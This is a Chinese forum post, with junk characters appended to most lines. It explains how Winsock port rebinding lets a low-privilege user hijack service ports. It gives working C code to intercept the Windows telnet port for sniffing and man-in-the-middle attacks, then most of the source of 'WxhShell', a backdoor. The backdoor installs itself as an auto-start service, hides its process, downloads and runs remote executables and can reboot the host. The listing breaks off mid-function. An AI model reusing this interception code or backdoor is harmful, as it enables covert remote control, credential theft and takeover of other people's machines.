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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !M(SEIc4A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8U}+9  
u?F.%j-  
  saddr.sin_family = AF_INET; AnK X4Q  
./^8L(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8dC RSU  
NE4]i  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #^(Yw|/K  
G ]uz$V6!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ta^$&$l  
r! [Qpb-:  
  这意味着什么?意味着可以进行如下的攻击: xzOn[.Fi  
:#cJZ\YH  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 p,!IPWo  
;aD?BD__Z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) xxwbX6^d  
FR>[ g`1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /U-+ClZi@  
Cq'{ %  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L >)|l  
W8r"dK  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Y#6LNI   
{?"X\5n0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 H)CoByaj  
+ej5C:El_}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 z ?F`)}  
57O|e/2  
  #include IZ87Px>zL  
  #include wQ[!~>A  
  #include ]2YC7  
  #include    fRq+pUx U  
  DWORD WINAPI ClientThread(LPVOID lpParam);   G~ LQM  
  int main() @"wX#ot  
  { (!qfd Qq#  
  WORD wVersionRequested; C6h[L  
  DWORD ret; %LD(S*>7  
  WSADATA wsaData; mn*}U R  
  BOOL val; PZO.$'L|7  
  SOCKADDR_IN saddr; @(+\*]?^&  
  SOCKADDR_IN scaddr; \DWKG~r-%  
  int err; sx]{N  
  SOCKET s; Qvel#*-4  
  SOCKET sc; -yb7s2o  
  int caddsize; kD7'BP/#  
  HANDLE mt; _18Z]XtX  
  DWORD tid;   QpRk5NeLe  
  wVersionRequested = MAKEWORD( 2, 2 ); H9(UzyN>i  
  err = WSAStartup( wVersionRequested, &wsaData ); *ae)<l3v  
  if ( err != 0 ) { lY2~{Y|4s  
  printf("error!WSAStartup failed!\n"); u J]uz%  
  return -1; GG-b)64h`  
  }  R&g&BF  
  saddr.sin_family = AF_INET; h7@%}<%  
   RGkV%u^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .J8 gW  
0AF,} &$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); TBky+]p@  
  saddr.sin_port = htons(23); ` N R,8F  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q7{{r&|t&  
  { +$#XV@@~  
  printf("error!socket failed!\n"); aof'shS8  
  return -1; b5I 8jPj4c  
  } S)W?W}*R\  
  val = TRUE; ecO$L<9>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;PnN$g]Q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) R3.w")6  
  { ]6s/y  
  printf("error!setsockopt failed!\n"); :SWrx MT  
  return -1; H K J^6|'  
  } l*huKSX}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; eVB43]g  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 y>#kT  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \I^"^'CP  
~4O3~Y_+GN  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [2>zaag  
  { 33wVP}e5  
  ret=GetLastError(); Nl/ fvJ`4  
  printf("error!bind failed!\n"); H8B2{]HAt  
  return -1; r!w*y3  
  } bg_io*K  
  listen(s,2); Iza;~8dH5  
  while(1) SGba6b31  
  { 5|>ms)[RQ  
  caddsize = sizeof(scaddr); i )$+#N  
  //接受连接请求 j]` hy"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~D`R"vzw=  
  if(sc!=INVALID_SOCKET) uFhPNR2l  
  { bj0<A  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ciz,1IV  
  if(mt==NULL) ShvC4Xb 0  
  { (FZ8T39  
  printf("Thread Creat Failed!\n"); ?<Hgq8J  
  break; jC$~m#F  
  } p@O,-&/D  
  } z@?y(E  
  CloseHandle(mt); )8'v@8;-  
  }  vILB$%I  
  closesocket(s); UH;bg}=8  
  WSACleanup(); a`]ZyG*P  
  return 0; -[pfLo  
  }   v6 |[p  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,\#j6R,{I  
  { mG@[~w+  
  SOCKET ss = (SOCKET)lpParam; RlU?F  
  SOCKET sc; :#_k`{WG  
  unsigned char buf[4096]; #7]>ozKm  
  SOCKADDR_IN saddr; r'_#rl  
  long num; 9 C{Xpu  
  DWORD val; l@u  "iGw  
  DWORD ret; Pth4_]US  
  //如果是隐藏端口应用的话,可以在此处加一些判断 x1STjI>i  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $}5M`p\&C  
  saddr.sin_family = AF_INET; oHp"\Z&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /v| b]Ji  
  saddr.sin_port = htons(23); lw?C:-m  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E[=&6T4  
  { w(X}  
  printf("error!socket failed!\n"); * CAz_s<  
  return -1; k>8OxpaWv?  
  } _3O*"S=1  
  val = 100; KL9JA; "  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k.Gt }\6zP  
  { oL }d=x/  
  ret = GetLastError(); 'MB+cz+v  
  return -1; N~or.i&a  
  } ;~WoJlEK3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7}~nQl2  
  { H4{7,n  
  ret = GetLastError(); 'O9Yu{M  
  return -1; LWSy"Cs*  
  } 3m2y<l<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) dl |$pm@x  
  { Z0D&ayzkh^  
  printf("error!socket connect failed!\n"); T nyLVIP  
  closesocket(sc); 0}'/pN>  
  closesocket(ss); !U(KQ:j  
  return -1; K|6}g7&X  
  } a9_2b}t  
  while(1) e8egxm  
  { p)"EenUK  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 u:J4Az^!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6W7,EIf  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >yqEXx5{  
  num = recv(ss,buf,4096,0); #)#'^MZX  
  if(num>0) (Ia:>ocE0  
  send(sc,buf,num,0); HM"(cB(n`  
  else if(num==0) z&um9rXR  
  break; `/wXx5n5<  
  num = recv(sc,buf,4096,0); ~x_(v,NW  
  if(num>0) 8{{^pW?x  
  send(ss,buf,num,0); p;R&h4H  
  else if(num==0) N[O_}_  
  break; 9o6qN1A0g  
  } -x J\/"A  
  closesocket(ss); upJ y,|5  
  closesocket(sc); 7)Tix7:9S;  
  return 0 ; #^ .G^d(=  
  } i12G\Ye  
j.+,c#hFo  
Et}%sdS  
==========================================================  #.Ly  
'=Jz}F <  
下边附上一个代码,,WXhSHELL >qGWDCKr  
20`XklV  
========================================================== ~{kA;uw  
>SYOtzg%  
#include "stdafx.h" je>gT`8  
/jq"r-S"  
#include <stdio.h> irjHPuhcG  
#include <string.h> |L-- j  
#include <windows.h> ?9 `T_,  
#include <winsock2.h> SL^%Zh/~  
#include <winsvc.h> kjQI=:i=  
#include <urlmon.h> Ml +f3#HP  
8 -b~p  
#pragma comment (lib, "Ws2_32.lib") 6G-XZko~a  
#pragma comment (lib, "urlmon.lib") CaoQPb*  
&;Go CU Le  
#define MAX_USER   100 // 最大客户端连接数 S=~+e{  
#define BUF_SOCK   200 // sock buffer v{\~>1J{  
#define KEY_BUFF   255 // 输入 buffer |ZCv>8?n  
/\1Q :B3W  
#define REBOOT     0   // 重启 "e29j'u!*  
#define SHUTDOWN   1   // 关机 OU mZ|  
0{?%"t\/f  
#define DEF_PORT   5000 // 监听端口 +OB&PE  
[!ZYtp?Hf  
#define REG_LEN     16   // 注册表键长度 L9whgXD  
#define SVC_LEN     80   // NT服务名长度 ~IQjQz?  
{z'Gg  
// 从dll定义API YsO`1D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Rob: W|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W^3'9nYU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W$Aypy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qrt2uE{K  
5pRVA  
// wxhshell配置信息 ;hFB]/.v  
struct WSCFG { ~$Z_#,|i?  
  int ws_port;         // 监听端口 o i~,}E_  
  char ws_passstr[REG_LEN]; // 口令 "DJ%Yo  
  int ws_autoins;       // 安装标记, 1=yes 0=no r&L1jT.  
  char ws_regname[REG_LEN]; // 注册表键名 Vr&v:8:wb  
  char ws_svcname[REG_LEN]; // 服务名 pcm1IwR`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tfe'].uT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z@Qf0 c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2"Y=*s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8R;E+B{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BMhuM~?(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rmI@ #'  
;:Kc{B.s  
}; q93V'[)F  
`]Vn[^?D  
// default Wxhshell configuration $,T3vX]<  
struct WSCFG wscfg={DEF_PORT, .3 ^*_  
    "xuhuanlingzhe", i\MW'b  
    1, m :]F &s  
    "Wxhshell", QkO4Td<  
    "Wxhshell", #P1 ;*m  
            "WxhShell Service", Aca ?C  
    "Wrsky Windows CmdShell Service", wp-3U}P2(  
    "Please Input Your Password: ", ACgWT  
  1, `7',RUj|D  
  "http://www.wrsky.com/wxhshell.exe", _'s5FlZq  
  "Wxhshell.exe" \z2d=E  
    }; u)ZZ/|  
['0^gN$:e  
// 消息定义模块 IRI<no  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c;R .rV<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uYc&Q$U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Zo,]Dx  
char *msg_ws_ext="\n\rExit."; a+\s0Qo<  
char *msg_ws_end="\n\rQuit."; HMR!XF&JjC  
char *msg_ws_boot="\n\rReboot..."; P$G|o|h  
char *msg_ws_poff="\n\rShutdown..."; W8!8/ IZbN  
char *msg_ws_down="\n\rSave to "; lx~mn~;x  
UX'tdB !A  
char *msg_ws_err="\n\rErr!"; @gJPMgF$F  
char *msg_ws_ok="\n\rOK!"; aII:Pzh]B  
_LZ 442  
char ExeFile[MAX_PATH]; Je` w/Hl/U  
int nUser = 0; iWn7vv/t  
HANDLE handles[MAX_USER]; 0+S'i82=M  
int OsIsNt; z7lbb*Xe  
;nf}O87~  
SERVICE_STATUS       serviceStatus; JhB$s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'zTa]y]a  
6IM:Xj  
// 函数声明 #Cz:l|\ i  
int Install(void); VH.}}RS%  
int Uninstall(void); vYG$>*  
int DownloadFile(char *sURL, SOCKET wsh); Aj=c,]2  
int Boot(int flag); R~BW=Dz,e  
void HideProc(void); 5c l%>U  
int GetOsVer(void); !E\J`K0_e  
int Wxhshell(SOCKET wsl); mHC36ba  
void TalkWithClient(void *cs); GJuU?h#:/{  
int CmdShell(SOCKET sock); gr$H?|n l  
int StartFromService(void); )i>T\B  
int StartWxhshell(LPSTR lpCmdLine); DZ|/#- k  
. J*2J(T,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OB ~74}3;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ga^k1TQq  
, Onu%  
// 数据结构和表定义 F ?TmOa0  
SERVICE_TABLE_ENTRY DispatchTable[] = v#+tu,)V;  
{ 2VS#=i(B^  
{wscfg.ws_svcname, NTServiceMain}, /ec~^S8X  
{NULL, NULL} v_@&#!u`  
}; k\M">K0E  
9L9mi<,  
// 自我安装 <i1P~  
int Install(void) q0 8  
{ $d7{q3K&1  
  char svExeFile[MAX_PATH]; S8Yh>j8-  
  HKEY key; r.zJ/Tk  
  strcpy(svExeFile,ExeFile); +UP?M4g  
\t@|-`  
// 如果是win9x系统,修改注册表设为自启动 vweD{\b  
if(!OsIsNt) { =").W\,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eM`"$xc Oe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aA.TlG@zP  
  RegCloseKey(key); y<5xlN(+v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "'"dcA   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #/`V.jXt>  
  RegCloseKey(key); M3 $MgsN:  
  return 0; LHP?!rO0  
    } :YZMR JL  
  } l,3[hx  
} \Tj(]  
else { bga2{<VF  
:dzam HbX9  
// 如果是NT以上系统,安装为系统服务 m,]M_y\u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _&m   
if (schSCManager!=0) -vC?bumR%  
{ l=JK+uZ  
  SC_HANDLE schService = CreateService ~UJ_Rr54  
  ( KcjP39@I  
  schSCManager, I*K~GXWs#  
  wscfg.ws_svcname, yS-owtVCGF  
  wscfg.ws_svcdisp, /1lUFL2D  
  SERVICE_ALL_ACCESS, CR$5'#11)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mWM!6"  
  SERVICE_AUTO_START, ZK]C!8\2|  
  SERVICE_ERROR_NORMAL, |bz,cvlP W  
  svExeFile, ]={{$}8.  
  NULL, bdCpGG9  
  NULL, -.E<~(fad  
  NULL, hw&R .F  
  NULL, *l^%7W rk  
  NULL zKk2>.  
  ); g< {jgF  
  if (schService!=0) bXiT}5mJU  
  { j7 D\O  
  CloseServiceHandle(schService); zW^@\kB0D  
  CloseServiceHandle(schSCManager); #X"eg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DP9hvu/85  
  strcat(svExeFile,wscfg.ws_svcname); QY<2i-A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X^H)2G>e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Dl%NVi+n  
  RegCloseKey(key); 6^.<5SJ}  
  return 0; PZ"=t!  
    } 9YpD\H`  
  } .r?-O{2t  
  CloseServiceHandle(schSCManager); 7=8e|$K_  
} ZWSYh>"  
} OE/O:F:1j  
3say&|kJ  
return 1; LdAfY0  
} 7 0:a2m  
BUcze\+  
// 自我卸载 e;<=aa)}?  
int Uninstall(void) K/jC>4/c/  
{ {@oYMO~  
  HKEY key; LQs2!]?HT  
6nRD:CH)X  
if(!OsIsNt) { i9oi}$;J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \qqt/  
  RegDeleteValue(key,wscfg.ws_regname); Hay`lA2@  
  RegCloseKey(key); ?t+Kp 9@aZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >_]j{}~\k  
  RegDeleteValue(key,wscfg.ws_regname); vd9><W  
  RegCloseKey(key); /nRi19a%xU  
  return 0; >T4.mB7+>  
  } :d-+Z%Y  
} "el}@  
} TCFx+*fBd  
else { Xb=9~7&,$  
o+(.Pb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _{6QvD3kg.  
if (schSCManager!=0) X/TuiKe  
{ $aX}i4F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); BXVmt!S5F  
  if (schService!=0) ;z>)&F  
  { hX]vZR&R  
  if(DeleteService(schService)!=0) { `bffw:; %  
  CloseServiceHandle(schService); =LS?:Mhm  
  CloseServiceHandle(schSCManager); 40oRO0p  
  return 0; Dm[4`p@IY\  
  } ]w(i,iJ  
  CloseServiceHandle(schService); Bls\)$  
  } %9xz[Ng  
  CloseServiceHandle(schSCManager); 41WnKz9c  
} B`} ?rp  
} QdL ;|3K9  
/ PAxPZf_  
return 1; wz5xJ:Tj  
} keEyE;O}u  
70l"[Y  
// 从指定url下载文件 &CFHH"OsT  
int DownloadFile(char *sURL, SOCKET wsh) /v E>*x  
{ VAF+\Cea=  
  HRESULT hr; ~&=-*  
char seps[]= "/"; ` IiAtS  
char *token; _YY:}'+  
char *file; b:Dr _|  
char myURL[MAX_PATH]; )W~w72j-  
char myFILE[MAX_PATH]; # &o3[.)9  
!L+*.k:  
strcpy(myURL,sURL); |Z<NM#1  
  token=strtok(myURL,seps); `(?E-~#'  
  while(token!=NULL) qIa|sV\w0  
  { AxUj CerNf  
    file=token; Bhl@\Kq  
  token=strtok(NULL,seps); Ft>Abj,6  
  } JGp~A#H&  
&+=A;Y)  
GetCurrentDirectory(MAX_PATH,myFILE); EUU9JnQhBJ  
strcat(myFILE, "\\"); n3-u.Fb  
strcat(myFILE, file); PBb@J'b  
  send(wsh,myFILE,strlen(myFILE),0); >n)N=Zyu  
send(wsh,"...",3,0); J.mEOo!>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HjV3PFg  
  if(hr==S_OK) -4o6 OkK<  
return 0; .OVIQxf  
else nM1U=Du  
return 1; I3D8xl>P\  
q 4PRc<\^  
} hVI $r  
Y(ly0U}  
// 系统电源模块 2:Q9g ru  
int Boot(int flag) f7}/ {}g  
{ b&B<'Wb  
  HANDLE hToken; ?&ThMWl  
  TOKEN_PRIVILEGES tkp; {e A4y~k  
cOth q87:  
  if(OsIsNt) { 6$w)"Rq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y iE[^2Pv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bN@V=C3  
    tkp.PrivilegeCount = 1; PmO utYV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %p)6m 2Sb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z,[4 BM  
if(flag==REBOOT) { as- Z)h[B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2c@R!*  
  return 0; hgX@?WWR  
}  qm&}^S  
else { z _~f/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R$4&>VBu  
  return 0; ngj=w;7~+  
} MbC7`Sp&i  
  } h}i /u  
  else { k:Sxs+)?1  
if(flag==REBOOT) { [WnX'R R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *fso6j#%  
  return 0; \,i9m9;y  
} e3UGYwQ  
else { r4k =i4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -z./6dQ  
  return 0; }(z[ rZ  
} _>%P};G{>  
} \R yOexNZ  
#ok1qT9_  
return 1; O7 %<(  
} N}b/; Y  
kB {  
// win9x进程隐藏模块 o8.KakrPP  
void HideProc(void) 0m $f9b|Q?  
{ ^A dHP!I  
O%;H#3kn&s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %eB0 )'  
  if ( hKernel != NULL ) y{+$B Y$_  
  { :2iNw>z1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h`X)sC+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j}3Avu%  
    FreeLibrary(hKernel); orYE&  
  } #'fh'$5"  
t=o0 #jo  
return; lxx)l(&  
} qk;*$Q  
u+UtvzUC  
// 获取操作系统版本 oa$-o/DhB  
int GetOsVer(void) {m~.'DU  
{ \7rFfN3  
  OSVERSIONINFO winfo; c[J(H,mt/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A}pmr  
  GetVersionEx(&winfo); zgRZgVj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =B<>H$  
  return 1; r:lv[/ D  
  else iz!E1(z(  
  return 0; B/.+&AJw  
} +?Vj}p;  
q&OF?z7H  
// 客户端句柄模块 u+%Ca,6  
int Wxhshell(SOCKET wsl) /~[+'  
{ $mOVo'2  
  SOCKET wsh; /|V!2dQs"  
  struct sockaddr_in client; (|+Sbq(o  
  DWORD myID; ^F2 OTz4n  
$51M' Qu  
  while(nUser<MAX_USER) 6t/nM  
{ P1KXvc}JGe  
  int nSize=sizeof(client); X-2rC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a,g3 /  
  if(wsh==INVALID_SOCKET) return 1; s\i:;`l:=5  
mW~t/$Y$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5SPhdpIg@[  
if(handles[nUser]==0) =<Q_&_.60  
  closesocket(wsh); 7Mq4$|qhD  
else q)vdDdRe_  
  nUser++; zmd,uhNc:  
  } )a"rj5~-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .XDY1~w0  
U$jw8I'.  
  return 0; D#Qfa!=g  
} afrU>#+"  
Bu|U z0Y  
// 关闭 socket eD5:0;X2  
void CloseIt(SOCKET wsh) ,p2BB"^_i  
{ #yz5CWu  
closesocket(wsh); W <.h@Rz+  
nUser--; C><]o  
ExitThread(0); .,Q j3  
} aDEz |>q  
>SRUC  
// 客户端请求句柄 xuBXOr4"P  
void TalkWithClient(void *cs) 5@l[!Jl0k  
{ XRoMD6qf;  
GVS-_KP\  
  SOCKET wsh=(SOCKET)cs; ZccQ{$0H  
  char pwd[SVC_LEN]; ?^y%UIzf  
  char cmd[KEY_BUFF]; N6K%Wkz  
char chr[1]; u\LG_/UJV1  
int i,j; :sO^b*e /  
;VM',40  
  while (nUser < MAX_USER) { VG FWF3s  
8/q6vk><  
if(wscfg.ws_passstr) { hLF+_{\C|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [4qCW{x._  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ) D_ZZPq_  
  //ZeroMemory(pwd,KEY_BUFF); 1$S;#9PQ  
      i=0; WOqAVd\  
  while(i<SVC_LEN) { WZ}je!82  
x1H?e8  
  // 设置超时 MtE18m "z  
  fd_set FdRead; 9gjI;*(z1  
  struct timeval TimeOut; _<Hx1l~  
  FD_ZERO(&FdRead); R}~p1=D  
  FD_SET(wsh,&FdRead); 9J>b6   
  TimeOut.tv_sec=8; ^Ej4^d  
  TimeOut.tv_usec=0; /P_1vQq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dzA5l:5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IX/FKSuq  
$BIQ# T>qK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W?+U%bIZ9  
  pwd=chr[0]; _`RzPIS^  
  if(chr[0]==0xd || chr[0]==0xa) { %Xm3m0nsv{  
  pwd=0; VrG4wLpLs  
  break; 8R !3}kx  
  } !r=^aa(\  
  i++; X`xI~&t_  
    } MYVUOd,  
D@]gc&JN[  
  // 如果是非法用户,关闭 socket VyRU_<xP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZHPsGHA  
} TTNgnP  
-KzU''  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /cmnX'z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  $^&SEz  
q\ihye  
while(1) { !sF! (u7  
<9za!.(zu  
  ZeroMemory(cmd,KEY_BUFF); OBF3)L]  
XBJ9"G5  
      // 自动支持客户端 telnet标准   R<r"jOd]  
  j=0; L,@O OBD  
  while(j<KEY_BUFF) { c k~gB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >)Ih[0~M  
  cmd[j]=chr[0]; ONx|c'0g  
  if(chr[0]==0xa || chr[0]==0xd) { ,!`94{Ggv  
  cmd[j]=0; ]U :1N C"  
  break; p(2j7W-/  
  } ,H{ /@|RW  
  j++; K?l1Gj  
    } |=OO$z;q|  
R=D\VIu,Z  
  // 下载文件 'WqSHb7  
  if(strstr(cmd,"http://")) { %}z/_QZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xP@VK!sc  
  if(DownloadFile(cmd,wsh)) DNgQ.lV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wp/u*g  
  else 4fDo}~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ' pE %'8R  
  } )B d`N^k+  
  else { FV[6">;g  
1'|6IR1'  
    switch(cmd[0]) { )g4oUZDF  
  IB wqu w+  
  // 帮助 0m5Q;|mH  
  case '?': { -25#Vh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d6lhA7  
    break; !g? ~<`   
  } -Q@jL{Ue  
  // 安装 #unE>#DW  
  case 'i': { Y^)VHE]  
    if(Install()) &77]h%B >  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &}Y_EHj}  
    else %iPu51+=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B3I\=  
    break; ?Y"bt^4j  
    } d}f| HOFq  
  // 卸载 ~A8%[.({5  
  case 'r': { ?KxI|os  
    if(Uninstall()) Rl4r 9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CvpqQ7&k7  
    else ,5\:\e0H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V:42\b7x  
    break; $XS0:C0  
    } @4:cn  
  // 显示 wxhshell 所在路径 lwH&4K  
  case 'p': { O$ i6r]j_  
    char svExeFile[MAX_PATH]; ;(w=}s%]+  
    strcpy(svExeFile,"\n\r"); ` w Sg/  
      strcat(svExeFile,ExeFile); Q, E!Ew3  
        send(wsh,svExeFile,strlen(svExeFile),0); ` n{rzenPX  
    break; $ql-"BB  
    } Fqzk/m  
  // 重启 z(< E %  
  case 'b': { X7kJWX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;>=hQC{f>  
    if(Boot(REBOOT)) |Sg *j-.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TGLkwXOkT  
    else { oWyg/{M  
    closesocket(wsh); [BhpfZNKRA  
    ExitThread(0); S&-sl   
    } sF;1)7]Pq  
    break; +N[dYm  
    } bcpH|}[F)  
  // 关机 Fga9  
  case 'd': { @{_PO{=\C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o,) p*glO  
